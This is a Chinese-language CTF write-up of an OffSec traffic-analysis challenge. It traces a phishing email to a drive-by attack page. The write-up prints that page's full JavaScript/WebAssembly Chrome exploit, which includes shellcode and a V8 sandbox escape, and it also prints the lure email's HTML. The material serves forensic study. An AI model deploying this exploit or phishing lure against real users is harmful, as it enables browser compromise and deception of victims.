Offsec Arctic Howl-Cold Access(Week 3) Writeup

流量分析

Offsec Arctic Howl-Cold Access(Week 3) Writeup

Author: Asterism
Date: 2026.3.23

Lastest edited on 2026.3.23


The Gauntlet 活动介绍页:https://www.offsec.com/events/the-gauntlet/
Cold Access 题目:https://portal.offsec.com/machine/cold-access-218766/overview/details
题目:./file/Q.txt
附件:./file/initial_access.pcapng
答案:./file/Q&A.txt
Writeup:https://photoncache.pages.dev/posts/offsec_ctf

题目介绍

这是一道流量分析的题目,题目的流量包记录多达3万+,要求在大量的流量中筛选出攻击流量,并且对其进行分析,回答相关题目

工具

  • Wireshark

过程

攻击流量

通过观察可以发现可疑IP-34.250.131.104,记录如下:

20882	56.693705	34.250.131.104	192.168.50.107	TCP	66	80 → 60264 [SYN, ACK] Seq=0 Ack=1 Win=62727 Len=0 MSS=1460 SACK_PERM WS=128
20884	56.695771	34.250.131.104	192.168.50.107	TCP	60	443 → 60263 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20885	56.697858	34.250.131.104	192.168.50.107	TCP	66	80 → 60265 [SYN, ACK] Seq=0 Ack=1 Win=62727 Len=0 MSS=1460 SACK_PERM WS=128
20898	56.955802	34.250.131.104	192.168.50.107	TCP	60	443 → 60267 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20900	57.306745	34.250.131.104	192.168.50.107	TCP	60	443 → 60263 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20902	57.546380	34.250.131.104	192.168.50.107	TCP	60	443 → 60267 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20905	57.909543	34.250.131.104	192.168.50.107	TCP	60	443 → 60263 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20907	58.134114	34.250.131.104	192.168.50.107	TCP	60	443 → 60267 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20909	58.508133	34.250.131.104	192.168.50.107	TCP	60	443 → 60263 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20912	58.723935	34.250.131.104	192.168.50.107	TCP	60	443 → 60267 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20917	59.107560	34.250.131.104	192.168.50.107	TCP	60	443 → 60263 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20919	59.195877	34.250.131.104	192.168.50.107	TCP	60	80 → 60264 [ACK] Seq=1 Ack=430 Win=62336 Len=0
20920	59.196127	34.250.131.104	192.168.50.107	TCP	1514	80 → 60264 [ACK] Seq=1 Ack=430 Win=62336 Len=1460 [TCP PDU reassembled in 20924]
20921	59.196182	34.250.131.104	192.168.50.107	TCP	1514	80 → 60264 [PSH, ACK] Seq=1461 Ack=430 Win=62336 Len=1460 [TCP PDU reassembled in 20924]
20922	59.196182	34.250.131.104	192.168.50.107	TCP	1514	80 → 60264 [ACK] Seq=2921 Ack=430 Win=62336 Len=1460 [TCP PDU reassembled in 20924]
20923	59.196182	34.250.131.104	192.168.50.107	TCP	1514	80 → 60264 [PSH, ACK] Seq=4381 Ack=430 Win=62336 Len=1460 [TCP PDU reassembled in 20924]
20924	59.196182	34.250.131.104	192.168.50.107	HTTP	740	HTTP/1.1 200 OK  (text/html)
20928	59.321631	34.250.131.104	192.168.50.107	TCP	60	443 → 60267 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
20929	59.322284	34.250.131.104	192.168.50.107	HTTP	472	HTTP/1.1 404 Not Found  (text/html)
20959	60.932024	34.250.131.104	192.168.50.107	TCP	60	80 → 60264 [FIN, ACK] Seq=6945 Ack=803 Win=62080 Len=0
20962	60.940319	34.250.131.104	192.168.50.107	TCP	60	80 → 60265 [FIN, ACK] Seq=1 Ack=2 Win=62848 Len=0

34.250.131.104对目标主机192.168.50.107的多个端口发送请求,先是完成了http(80端口)连接,然后目标主机一直尝试进行https(443端口),都被攻击主机直接拒绝(攻击主机连个证书都不愿意搞,很显然有问题)

追踪TCP stream

GET / HTTP/1.1
Host: 34.250.131.104
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9


HTTP/1.1 200 OK
Date: Mon, 27 Oct 2025 09:10:43 GMT
Server: Apache/2.4.65 (Amazon Linux)
Last-Modified: Fri, 24 Oct 2025 11:57:49 GMT
ETag: "184a-641e64236f6d7"
Accept-Ranges: bytes
Content-Length: 6218
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<html>
<body>
  <script>

const importObject = {
  imports: { imported_func : Math.sin},
};
//Shellcode tested on Win11 23H2 10.0.22631.4037
var wasmBuffer = new Uint8Array([0,97,115,109,1,0,0,0,1,16,3,80,0,94,124,1,96,1,124,1,124,96,0,1,99,0,2,25,1,7,105,109,112,111,114,116,115,13,105,109,112,111,114,116,101,100,95,102,117,110,99,0,1,3,3,2,1,2,7,21,2,4,109,97,105,110,0,1,10,109,97,107,101,95,97,114,114,97,121,0,2,10,152,2,2,6,0,32,0,16,0,11,142,2,1,1,99,0,65,18,251,7,0,33,0,32,0,65,0,68,144,73,131,196,96,144,235,29,251,14,0,32,0,65,1,68,101,77,139,4,36,144,235,32,251,14,0,32,0,65,2,68,73,139,120,24,144,144,235,32,251,14,0,32,0,65,3,68,72,139,127,48,144,144,235,32,251,14,0,32,0,65,4,68,72,139,63,72,139,63,235,32,251,14,0,32,0,65,5,68,72,139,71,16,144,144,235,32,251,14,0,32,0,65,6,68,72,5,208,7,7,0,235,32,251,14,0,32,0,65,7,68,65,84,144,144,65,84,235,32,251,14,0,32,0,65,8,68,186,82,2,0,0,144,235,32,251,14,0,32,0,65,9,68,72,1,209,144,144,144,235,32,251,14,0,32,0,65,10,68,72,49,210,72,255,194,235,32,251,14,0,32,0,65,11,68,198,65,8,0,144,144,235,32,251,14,0,32,0,65,12,68,72,131,236,40,144,144,235,32,251,14,0,32,0,65,13,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,14,68,255,208,144,144,144,144,235,32,251,14,0,32,0,65,15,68,112,105,110,103,32,100,98,0,251,14,0,32,0,11,0,26,4,110,97,109,101,1,19,2,1,4,109,97,105,110,2,10,109,97,107,101,95,97,114,114,97,121]);

var module = new WebAssembly.Module(wasmBuffer);
var instance = new WebAssembly.Instance(module, importObject);
var func = instance.exports.make_array;
func();

var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Uint32Array(view);
var bigIntView = new BigInt64Array(view);

function ftoi32(f) {
    dblArr[0] = f;
    return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
    intView[0] = i1;
    intView[1] = i2;
    return dblArr[0];
}

function itof(i) {
    bigIntView = BigInt(i);
    return dblArr[0];
}

function ftoi(f) {
    dblArr[0] = f;
    return bigIntView[0];
}


function addrOf(obj) {
  oobObjArr[0] = obj;
  var addrDbl = corrupted_arr[9];
  return ftoi32(addrDbl)[0];
}

function read(addr) {
  var old_value = corrupted_arr[oobOffset];
  corrupted_arr[oobOffset] = i32tof(addr,2);
  var oldAddr = ftoi32(old_value);
  var out = ftoi32(oobDblArr[0]);
  corrupted_arr[oobOffset] = old_value;
  return out;
}

function write(addr, val1, val2) {
  var old_value = corrupted_arr[oobOffset];
  corrupted_arr[oobOffset] = i32tof(addr,2);
  oobDblArr[0] = i32tof(val1, val2);
  corrupted_arr[oobOffset] = old_value;
  return;
}

var num = 3;
var nameAddr = 0xdc5;  // <<<<<<<<< check this
var dblArrMap = 0x255159;
var objArrMap = 0x2551d9; 

var nameAddrF = i32tof(nameAddr, nameAddr);
var fakeDblArray = [1.1,2.2];
var oobDblArr = [2.2];
var oobObjArr = [view];
oobObjArr[0] = 0x4242;

var fakeDblArrayAddr = 0x4881d  

var fakeDblArrayEle = fakeDblArrayAddr - 0x18;
fakeDblArray[0] = i32tof(dblArrMap, 0x725);
fakeDblArray[1] = i32tof(fakeDblArrayEle, 0x100);


var x = {};
for (let i = 0; i < num; i++) {
  x['a' + i] = 1;
}
var x1 = {};
for (let i = 0; i < num; i++) {
  x1['a' + i] = 1;
}
x1.prop = 1;
x.__defineGetter__("prop", function() {
  let obj = {};
  obj.a0 = 1.5;
  for (let i = 0; i < 1024 + 512; i++) {
    let tmp = {};
    tmp.a0 = 1;
    for (let j = 1; j < num; j++) {
      tmp['a' + j] = 1;
    }
    tmp['p' + i] = 1;
  }
  return 4;
});
x.z = 1;
delete x.z;
var y = {...x};

var arr = new Array(256);
for (let i = 0; i < 7; i++) {
  arr[i] = new Array(256);
  for (let j = 0; j < arr[i].length; j++) {
    arr[i][j] = nameAddrF;
  }
}

for (let j = 0; j < 7; j++) {
  let a = arr[j];
  for (let i = 0; i < 256; i++) {
    a[i] = i32tof(nameAddr, fakeDblArrayEle + 0x8);//i32tof(fakeDblArrayEle + 0xc, nameAddr);
  }
}

var z = {};
z.__proto__ = y;
z.p = 1;
z.p;

var oobOffset = 7;

// 0:000> ? chrome!v8::internal::TrustedCage::base_ - chrome!blink::V8DOMRectReadOnly::wrapper_type_info_
// Evaluate expression: 3265256 = 00000000`0031d2e8
var trustedOffset = 0x31d2e8; // OK

var corrupted_arr = y.name;

function getInstance(obj) {
  let addr = addrOf(obj);
  return read(addr + 0x10);
}
//v8 heap sandbox escape
//Math.sin();
var domRect = new DOMRect(1.1,2.3,3.3,4.4);
var node = new AudioBuffer({length: 3000, sampleRate: 30000, numberOfChannels : 2});
var channel = node.getChannelData(0);
var nodeInstance = getInstance(node);
var channelAddr = addrOf(channel);
var channelInstance = read(channelAddr + 0x3c);
var rectAddr = addrOf(domRect);
var read1 = addrOf(fakeDblArray)
//alert("0x" + read1.toString(16))
var rectInstance = read(rectAddr + 0x10);
var rectType = read(rectAddr + 0x8);

write(rectAddr + 0x10, rectType[0], rectType[1]);
//V8DOMRectReadOnly18wrapper_type_info_E
var typeInfo = ftoi32(domRect.width);
//Confusion between DOMRect and DOMArrayBuffer allows raw_base_addr_ ptr to be overwritten, causing arbitrary rw
write(rectAddr + 0x10, channelInstance[0], channelInstance[1]);
var rawBase = ftoi32(domRect.x);
var trustedBase = i32tof(typeInfo[0] + trustedOffset, typeInfo[1]); // OK up to here
var read3 = addrOf(trustedBase);
//Set address to read and write
domRect.x = trustedBase;
var dst = new Float32Array(view);
//copyFromChannel and copyToChannel can then be used for arbitrary rw
node.copyFromChannel(dst, 0, 0);
//dispatch_table_from_imports address
var trustedCage = intView[1];

function findImportTarget(startAddr) {
  var dispatchMap = 0x1f8d;
  var dstBuffer = new ArrayBuffer(0x1000);
  var dstFloat = new Float32Array(dstBuffer);
  var dstInt = new Uint32Array(dstBuffer);
  domRect.x = i32tof(startAddr, trustedCage);
  node.copyFromChannel(dstFloat, 0, 0);
  for (let i = 0; i < dstInt.length; i++) {
    if (dstInt[i] === 0x1f8d) {  
      return i;
    }
  }
  return -1;
}
var startAddr = 0x40600;

var codeIdx = findImportTarget(startAddr);
if (codeIdx != -1) {
  var exported = instance.exports.main;
  var code = i32tof(startAddr + codeIdx * 4 + 0xc, trustedCage);
  domRect.x = code;
  node.copyFromChannel(dst, 0, 0);
  intView[0] = intView[0] + 0xe + 0x100;
  node.copyToChannel(dst, 0, 0);
  intView[0] = 0;
  node.copyFromChannel(dst,0,0);
  exported();
  exported();
}
</script>
</body>
</html>


GET /favicon.ico HTTP/1.1
Host: 34.250.131.104
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://34.250.131.104/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9


HTTP/1.1 404 Not Found
Date: Mon, 27 Oct 2025 09:10:43 GMT
Server: Apache/2.4.65 (Amazon Linux)
Content-Length: 196
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>

目标主机自动向攻击机请求/favicon.ico网站图标,攻击主机也不响应,一看就不像正常网站的行为。 从攻击主机发送过来的内容可以看到,内容没有任何UI,是纯粹的JS代码。一般来说网页的js代码执行不会影响到浏览器之外的东西,但是如果浏览器沙盒出现漏洞,就有可能了。

分析攻击载荷

还原攻击流程

用户不会故意去访问一个连域名都没有的网站,这种情况,我第一个想到的就是钓鱼邮件和广告链接。筛选以下接收邮件常用的协议,最终在协议pop中有了答案:

19692	27.438991	192.168.50.108	192.168.50.107	POP	64	S: +OK POP3
19714	27.449914	192.168.50.107	192.168.50.108	POP	60	C: CAPA
19729	27.454734	192.168.50.108	192.168.50.107	POP	97	S: +OK CAPA list follows
19747	27.457263	192.168.50.107	192.168.50.108	POP	81	C: USER enygaard@ngo-hub.com
19765	27.471055	192.168.50.108	192.168.50.107	POP	78	S: +OK Send your password
19767	27.475432	192.168.50.107	192.168.50.108	POP	64	C: PASS lab
19788	27.484821	192.168.50.108	192.168.50.107	POP	84	S: +OK Mailbox locked and ready
19791	27.486005	192.168.50.107	192.168.50.108	POP	60	C: STAT
19807	27.486722	192.168.50.108	192.168.50.107	POP	67	S: +OK 5 10548
19808	27.489368	192.168.50.107	192.168.50.108	POP	60	C: LIST
19831	27.517138	192.168.50.108	192.168.50.107	POP	85	S: +OK 5 messages (10548 octets)
19914	27.562193	192.168.50.107	192.168.50.108	POP	60	C: UIDL
19931	27.563550	192.168.50.108	192.168.50.107	POP	116	S: +OK 5 messages (10548 octets)
19947	27.567925	192.168.50.107	192.168.50.108	POP	60	C: QUIT
19976	27.588212	192.168.50.108	192.168.50.107	POP	89	S: +OK POP3 server saying goodbye...
20815	48.516003	192.168.50.108	192.168.50.107	POP	64	S: +OK POP3
20816	48.517423	192.168.50.107	192.168.50.108	POP	60	C: CAPA
20817	48.518055	192.168.50.108	192.168.50.107	POP	97	S: +OK CAPA list follows
20818	48.518783	192.168.50.107	192.168.50.108	POP	81	C: USER enygaard@ngo-hub.com
20819	48.519308	192.168.50.108	192.168.50.107	POP	78	S: +OK Send your password
20820	48.519828	192.168.50.107	192.168.50.108	POP	64	C: PASS lab
20821	48.521834	192.168.50.108	192.168.50.107	POP	84	S: +OK Mailbox locked and ready
20822	48.522288	192.168.50.107	192.168.50.108	POP	60	C: STAT
20823	48.523124	192.168.50.108	192.168.50.107	POP	67	S: +OK 6 13059
20824	48.523754	192.168.50.107	192.168.50.108	POP	60	C: LIST
20825	48.524373	192.168.50.108	192.168.50.107	POP	85	S: +OK 6 messages (13059 octets)
20827	48.580791	192.168.50.108	192.168.50.107	POP/IMF	105	1 1335  , 2 1656  , 3 2533  , 4 2512  , 5 2512  , 6 2511  , .  
20828	48.581582	192.168.50.107	192.168.50.108	POP	60	C: UIDL
20829	48.582737	192.168.50.108	192.168.50.107	POP	122	S: +OK 6 messages (13059 octets)
20830	48.583552	192.168.50.107	192.168.50.108	POP	62	C: RETR 6
20832	48.599543	192.168.50.108	192.168.50.107	POP	1514	S: +OK 2511 octets
20833	48.599543	192.168.50.108	192.168.50.107	POP	1152	S: DATA fragment, 1098 bytes
20835	48.601017	192.168.50.108	192.168.50.107	POP	60	S: DATA fragment, 3 bytes
20837	48.660314	192.168.50.107	192.168.50.108	POP	60	C: QUIT
20838	48.661323	192.168.50.108	192.168.50.107	POP	89	S: +OK POP3 server saying goodbye...

追踪流,可以发现这封邮件

Return-Path: ciso@ngohub.com
Received: from attacker01 (login.mcrosoftonline.com [203.0.113.10])
	by mail.ngo-hub.com with ESMTP
	; Mon, 27 Oct 2025 02:11:19 -0700
Message-ID: <312116.95898989-sendEmail@attacker01>
From: "ciso@ngohub.com" <ciso@ngohub.com>
To: "enygaard@ngo-hub.com" <enygaard@ngo-hub.com>
Subject: [SIMULATION ... LAB ONLY] Mandatory Phishing Training
Date: Mon, 27 Oct 2025 09:10:26 +0000
X-Mailer: sendEmail-1.56
MIME-Version: 1.0
Content-Type: multipart/related; boundary="----MIME delimiter for sendEmail-782887.475173087"

This is a multi-part message in MIME format. To properly display this message you need a MIME-Version 1.0 compliant Email program.

------MIME delimiter for sendEmail-782887.475173087
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

<html>
  <body style="font-family:Arial, Helvetica, sans-serif; color:#333;">
    <table width="600" cellpadding="0" cellspacing="0" border="0" align="center" style="border:1px solid #ddd; padding:20px;">
      <tr>
        <td>
          <h2 style="color:#c00; text-align:center;">[SIMULATION ... LAB ONLY]</h2>

          <p>Hi Elena,</p>

          <p>This message is from the <strong>Office of the CISO</strong> at NGO-Hub.  
          As part of our ongoing security awareness program, you are required to complete this short phishing-training exercise.</p>

          <p>The exercise is conducted in a secure lab environment and does <strong>not</strong> collect any credentials or personal data.  
          Please click the button below to access your training session:</p>

          <p style="text-align:center; margin:30px 0;">
            <a href="http://34.250.131.104/"
               style="background-color:#007bff; color:#fff; text-decoration:none; padding:12px 24px; border-radius:4px;">
               Start Phishing Training
            </a>
          </p>

          <p>For questions about this exercise, contact the Security Operations Center at  
          <a href="mailto:soc@ngo-hub.com">soc@ngo-hub.com</a>.</p>

          <p>Thank you for your cooperation,<br>
          <strong>Office of the CISO</strong><br>
          NGO-Hub</p>

          <p style="font-size:12px; color:#888; text-align:center;">
            [SIMULATION ... LAB ONLY] ... This email is part of a controlled security awareness exercise.
          </p>
        </td>
      </tr>
    </table>
  </body>
</html>

------MIME delimiter for sendEmail-782887.475173087--

本以为题目会更加还原一点真实情况,没想到用的文案是这样的 钓鱼邮件